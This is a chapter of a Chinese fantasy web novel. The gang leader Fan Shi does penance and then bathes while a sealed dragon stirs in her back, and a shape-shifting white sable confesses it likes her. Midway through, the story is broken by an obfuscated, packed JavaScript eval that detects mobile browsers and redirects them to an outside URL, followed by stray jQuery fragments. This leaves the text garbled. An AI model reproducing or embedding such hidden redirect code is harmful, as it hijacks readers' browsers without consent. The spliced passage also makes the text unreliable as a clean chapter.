7. 封印和元宝项圈

作品:《倒插门后的我只想混吃等死[女尊]

    雨断断续续地下着,潮湿的空气黏滞着大脑的思绪。


    时至傍晚,二长老才别扭地让胡春秀给繁施送饭来。


    秦茹岚一早就靠着繁施身旁,张着嘴打起了鼾,一闻到饭香就被勾起了馋虫,她忙不迭地睁着眼睛,收了收唇边半叼着的野草。


    “帮主,先起来回屋吃饭吧,跪久了仔细伤了膝盖,这样阴寒的天气,着实不适合久跪。”胡春秀一手拎着铁包黑漆带架的食盒,另一手作势就要扶繁施起来。


    繁施浅笑着没动,依旧稳稳地直跪着,“不过是早春细雨罢了,算不得是什么冷雨寒凉,我跪上几个时辰不碍事。况且二长老让我在此思过,我自然是要谨遵教诲,胡婶莫要再说了。”


    “二长老不过是气头上多说了几句,你别跟他犟了,没他老人家的话我又怎么敢给来叫你。”


    胡春秀随手就将食盒递给了一旁眼巴巴的秦茹岚,“快,听胡婶儿的话起来,先回屋里吃了饭再泡泡热水澡就早些休息吧,若你那档子事真的是要定了,从明儿开始恐怕还有的事要忙呢,快去养养精神吧。”


    “忙什么?我……”繁施不明所以的被拽起来,甚至还想再问两句。


    “走了走了,先吃饭去。”秦茹岚勾着繁施的肩就往走,一心惦记着饭菜的她根本不想理会繁施那点纠结,“中午就没吃上饭,现在有胡婶儿给你送来还不赶快起来?磨磨唧唧的像什么样?”


    “……不是,你别……”繁施还想挣扎,没想到直接就被秦岚架走了。


    “胡婶儿,我们先走了,这饭我们一定好吃!”


    秦茹岚笑嘻嘻地跟胡春秀作别。


    “慢点、慢点,尊主,你可得小心点,别把小十三的新鞋拖坏了,那双鞋可是紫先生给她新纳的,莫要磨坏了。”


    胡春秀看着繁施踉跄的身影,眼里不由得也露出几分笑意。


    “偏心啊偏心!我也想要新鞋!”秦茹岚在路上跟繁施小声地咬着耳朵。


    “羡慕?拿去穿啊?咱俩谁跟谁?”繁施伸着筋骨,懒洋洋地接过食盒。


    “我……”秦茹岚低头看了看自己幻化出的青布缀石的云头靴,嘴硬道,“我一天换一双,宝石锦缎都能踩在脚下,谁在乎你那双破皮靴。”


    “随你便。”繁施揉了揉有些僵硬的脖子,进屋拿着干净的衣服。


    “你不会要沐浴吧?耳朵后面那伤能行吗?刚才没注意,现在看着血糊糊倒是怪瘆人的……”


    “又流血了吗?”繁施摸着耳后,一阵微痛,“可能是血痂没凝好,头发又给蹭开了,不碍事。”


    “封印之后你这伤口愈合的速度也太慢了,恐怕就连普通人的愈合速度都比你快些,沈家那小子咬你,你也不知道拦着点儿,别这好好的情趣倒成了弑妻现场了。”


    秦茹岚一边咋舌感叹,一边坐在矮凳上打开了食盒。


    喷香的菜香味在鼻尖蔓延,肚里的馋虫几乎在瞬间就被勾了起来。


    “先吃了再洗吧,也不急在一时。”秦茹岚摆着碗筷,“快,坐下吃饭。”


    “请吧,我的帮主大人。”


    “能不能正常点!”


    繁施成功被秦茹岚的恶趣味恶心到了,对方荡漾的语气吓得她差点没握稳手里的筷子。


    “吃饭吃饭!”秦茹岚跷着腿津津有味地嗦起了兔头。


    另一边,醉意消退的沈怀序这时候才幽幽转醒。


    在睡梦中无意化成原形的白貂,此刻正伸着毛爪拍着自己阵痛不止的脑壳。


    “轻点拍,也不怕敲坏了。”陆谦伸手拎着白貂的爪子,向它拍了拍床沿,“过来我给你揉揉。让你贪嘴喝酒,明明是个一杯倒还要一个劲地要喝,下次可记住了,少沾些。”


    “吱吱。”知道了。


    白貂委屈地嗷了两声。


    “看你那样,闯了祸就知道撒娇,你什么时候才能真的长大?”陆谦狠揪了下沈怀序的耳朵,“那个什么繁施的事情不打算跟我解释解释?我要不是正好撞上了,你是不是打算就一直这么瞒着我?”


    “吱吱。”没有……


    白貂心虚地蹬着双脚,打算继续装死。


    “说!”


    陆谦捏着白貂的耳朵就要往起带。


    “吱吱吱吱!”就是喜欢她!


    慌张的白貂顾不得其他,叽叽喳喳地解释着。


    “这话什么意思?都什么年代了,你小子不会还搞一见钟情那一套吧?你化形不稳还到处乱跑,就不怕繁施知道你是妖然后给你皮扒了?一天天的,真是我要操心死了。”


    陆谦看见白貂眯起眼睛舒服的样子就来气。


    “你小子!快说,哪有貂刚醒就又有觉要睡的?你倒是金钱貂还是猪啊?”


    “吱……吱吱。”就是感觉她很好!想靠近!


    白貂伸着细爪夸张的比划着。


    “吱!”很喜欢她!


    “行了!”陆谦伸手给了白貂的脑袋一个脆枣,“知道你喜欢她,可以前只见你对金玉至尊感兴趣,这次怎么居然是个人?你确定不是因为繁施身上带着什么宝物吗?”


    “吱吱。”不是!她睡觉前换了衣服,什么都没有!


    白貂骄傲地拍了拍胸脯,表示自己的判断不会出错。


    一旁的陆谦却猛然黑了脸。


    “吱……”怎么了?干吗这种眼神?


    白貂害怕得抖了抖圆耳朵。


    “你大半夜的没事干就跑去找繁施睡觉了?你这才摸住化形的边就知道找女人了?要是哪天真的修炼到家了岂不是要夜夜笙歌?”


    “吱!”这是意外!也没有别人,就繁施一个了!


    “罢了罢了,你别跟我提这个名字了,听见这个繁施我就脑袋疼。”陆谦按了按自己鼓搔不停地神经,“对了,我怎么见繁施抱你回来的时候你一直保持着人形啊?”


    陆谦伸手探了一番,结果却叫他大吃一惊,白貂灵丹不仅比先前大了一圈,甚至在运转间隐约可见一股金色的气流。


    “你修为也涨了不少,不会是偷吃了什么灵果吧?还是跟陆舒那只坏狐狸学了什么双修的本领?”


    “吱!”没有!你别冤枉我!


    沈怀序疯狂甩着脑袋,它才没有乱吃东西!


    “你先好好想想,这段时间你吃了什么,摸了什么。你若是动了人家什么贵重的东西,我们可是要加倍还回去的。”


    陆谦细细盘算着,一时间也想不出来有什么东西能让妖的修为提升得如此纯净而无一点反作用。


    但看着沈怀序揪着脑袋上的毛苦思冥想的样子,陆谦就知道它是想不出来了,于是默默地在心里叹了口气。


    总归是自家这只小崽子在繁施地盘上得了好处,听繁施今日话里话外都有践诺的打算,就姑且再等等吧。


    若两人能成了一桩姻缘,那这点人情就是迟些再补也无妨。


    “你这是又要干吗?”陆谦看着扒着窗户就要往外窜的白貂,“这么晚了还要出去?”


    “吱吱!”找繁施双修!


    不懂事理的白貂自主将自己修为暴涨的原因归在了双修。


    听了这话,陆谦一阵心梗,“你不懂就不要乱说话!你这样会叫人误会的!”


    “吱吱!吱?”我没有说错啊!难道不是吗?


    “……算了。”陆谦感觉自己再问下去要出事,只能摆摆手让白貂快些走。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143699|164607||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “找她可以,但是得带上项圈,不然不许你去。”


    “吱……”


    白貂不情不愿地脖子伸了回来,套上了一个多宝元宝锁形的灿金项圈。


    “这么不情愿?那就别出门了啊?”陆谦笑着就要给白貂摘下。


    “吱!”


    陆谦言出必行,吓得白貂捂着项圈慌慌张张地就顺着窗缝溜走了,不敢一丝犹豫,生怕陆谦再捉到自己把它锁院里。


    夜雨连缀不停。


    繁施褪去衣袍,将自己浸入浴桶。


    耳间的鲜血顺着散开的黑发漫入热水。


    繁施背后的黑色诡异图纹在碰到了丝丝缕缕的血水后逐渐变得清晰。


    那是一条被铁链拴住金眸黑鳞巨龙,在层层锁链的束缚不得不在繁施的腰脊间痛苦的盘缠着,借着鲜血的味道,它暂时被唤醒。


    被困已久的灵魂嗅到自由的味道,蛮横的巨龙在繁施的身体里四处冲撞着,企图用自身的力量撬开封印的一角。


    痛感袭来,繁施气息紊乱地沉入桶中,来不及有所反应,她第一时间锁住了自己的五感,任由巨龙肆虐。


    身体本能的发颤着,繁施靠着桶壁极力调转着玄得岿天功法,打算依靠真气的流转来舒缓筋脉的痛楚。


    窗外,寻着气味赶来的白貂扒着窗沿,挠着皮毛抖着自己身上的雨水,丝毫没有注意到出现在自己背后的身影。


    “哟?这是谁啊?”


    秦茹岚察觉到繁施气息不对,一直在外守着,没想到真的蹲到了意外的“访客”。


    白貂被人捏住后颈拎在半空中,短短的四肢无力地到处抻着。


    “吱吱吱!”放开我!


    白貂不留情面地给了秦茹岚一爪子。


    没有痛觉的秦茹岚好笑地戳了戳白貂的肚皮,“你就是沈家那小子?怎么大半夜地跑来找繁施?”


    “木头,注意分寸。”


    一只玉色的手挡住了秦岚下一步的动作,紧接着一道金色的光芒出现在了白貂的身后。


    望着金色的身影,秦岚勾起了一个兴味的笑容。


    “怎么?我们这几两破地居然还能劳烦元宝大人深夜前来?”


    “破木头!你说话注意些!”


    真身是聚宝圈的徐珠也没想到居然能在这儿碰上江湖上赫赫有名的恶棍秦茹岚,心里也是气不打一处来。


    想来能让秦茹岚这么护着的也就只有历代和降龙棍绑定的丐帮帮主了。


    感情这恶棍还是繁施的护主武器?


    徐珠忽然有些明白为什么自家小笨貂一直缠着繁施了。


    这不是有一个活生生的武林至尊在这儿吗?


    互相认出身份的两人都默契地没开口。


    徐珠是因为知道丐帮隐退江湖,必然有不可人道的秘密,再加上繁施有降龙棍和玄得岿天功法傍身,他不敢多言。


    秦茹岚干脆更是懒得说,毕竟在她看来,聚宝圈也就算是一个敛财保命、不敢参与她们这些打打杀杀的胆小鬼。


    徐珠每次遇到秦茹岚,对方不是在狂揍别人就是踩在别人身上贱兮兮地冲他打着招呼,可以说,徐珠遇上她就没什么好事。


    “吱吱!”被人捏着有些不舒服的金钱貂小声叫着,企图唤起两人的注意力。


    “别叫了,繁施一会儿就好。”秦茹岚对沈怀序失去了兴趣,随手把它扔回去徐珠怀里,“你带着他先进里屋吧,我在这儿守着。”


    “你……多注意。”


    徐珠犹豫了一瞬,才抱着他的主人进了屋。


    “这么多年了,怎么还是这么爱瞎操心。”留在屋外的秦茹岚傲娇扯了扯嘴角,眼里却多了几分说不出的温柔。